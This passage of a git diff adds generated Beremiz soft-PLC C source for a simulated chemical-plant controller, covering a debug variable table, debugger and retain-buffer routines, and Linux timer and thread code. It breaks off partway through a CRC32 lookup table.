+{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 